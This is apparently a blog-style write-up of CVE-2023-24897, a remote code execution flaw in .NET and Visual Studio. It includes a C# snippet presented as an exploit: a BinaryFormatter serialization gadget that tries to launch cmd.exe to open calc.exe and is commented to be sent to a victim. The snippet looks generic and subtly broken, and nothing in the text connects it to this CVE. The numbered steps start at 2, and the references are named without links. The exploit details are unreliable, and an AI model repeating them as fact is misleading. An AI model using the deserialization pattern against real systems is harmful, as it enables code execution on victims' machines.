CVE-2023-24897: Critical Security Vulnerability in .NET, .NET Framework, and Visual Studio Explained – Remote Code Execution Exploit

The CVE-2023-24897 vulnerability is a critical security flaw discovered in the .NET, .NET Framework, and Visual Studio packages. The vulnerability allows an attacker to execute remote code on affected systems, which can lead to serious security issues and data breaches. This blog post will delve deeper into this vulnerability, outline its exploitation, share a code snippet, and provide details about original references.

Vulnerability Description

The CVE-2023-24897 vulnerability, rated critical by the National Vulnerability Database (NVD), affects the .NET, .NET Framework, and Visual Studio components of the Microsoft ecosystem. The flaw resides in the way these components handle certain input, which can be exploited by an attacker to run remote code on the victim's machine.

A successful exploitation of this vulnerability could lead to a complete compromise of the targeted system, allowing the attacker to execute arbitrary code and gain full access to the system resources and sensitive data.

For more details about the severity and impact of this vulnerability, please refer to the NVD CVE-2023-24897 page.

The attacker creates a malicious payload that exploits the CVE-2023-24897 vulnerability.

2. The attacker sends the payload to the target user, usually disguised in a seemingly innocuous email or document.
3. The victim opens the malicious file, which triggers the vulnerability in .NET, .NET Framework, or Visual Studio.

Code Snippet

Here's an example code snippet that demonstrates the basic technique used to exploit this vulnerability:

using System;
using System.Runtime.Serialization;

namespace CVE202324897Exploit
{
  [Serializable]
  public class ExploitClass : ISerializable
  {
    public ExploitClass() { }

    public void GetObjectData(SerializationInfo info, StreamingContext context)
    {
      info.SetType(typeof(System.Diagnostics.Process));
      info.AddValue("StartInfo", new System.Diagnostics.ProcessStartInfo
      {
        FileName = "cmd.exe",
        Arguments = "/C calc.exe",
        UseShellExecute = false
      });
    }
  }

  class Program
  {
    static void Main(string[] args)
    {
      ExploitClass exploit = new ExploitClass();
      System.Runtime.Serialization.Formatters.Binary.BinaryFormatter bf = new System.Runtime.Serialization.Formatters.Binary.BinaryFormatter();
      using (System.IO.MemoryStream ms = new System.IO.MemoryStream())
      {
        bf.Serialize(ms, exploit);

        // Send serialized payload to victim's machine
      }
    }
  }
}

Note: This code snippet is provided for educational purposes only and should not be used to exploit any systems without explicit permission.

Original References

Microsoft has issued an advisory on this vulnerability, which can be accessed via the following link: Microsoft Security Advisory.

The original security researcher who discovered this vulnerability has also published a technical analysis providing more in-depth details.

Conclusion

CVE-2023-24897 is a severe remote code execution vulnerability that affects .NET, .NET Framework, and Visual Studio applications. It is essential to stay informed about the latest patch releases and security advisories in order to mitigate the risks associated with this vulnerability. We urge you to apply the necessary security updates as soon as possible and follow best practices to maintain a secure environment.

Timeline

Published on: 06/14/2023 15:15:00 UTC
Last modified on: 06/14/2023 15:30:00 UTC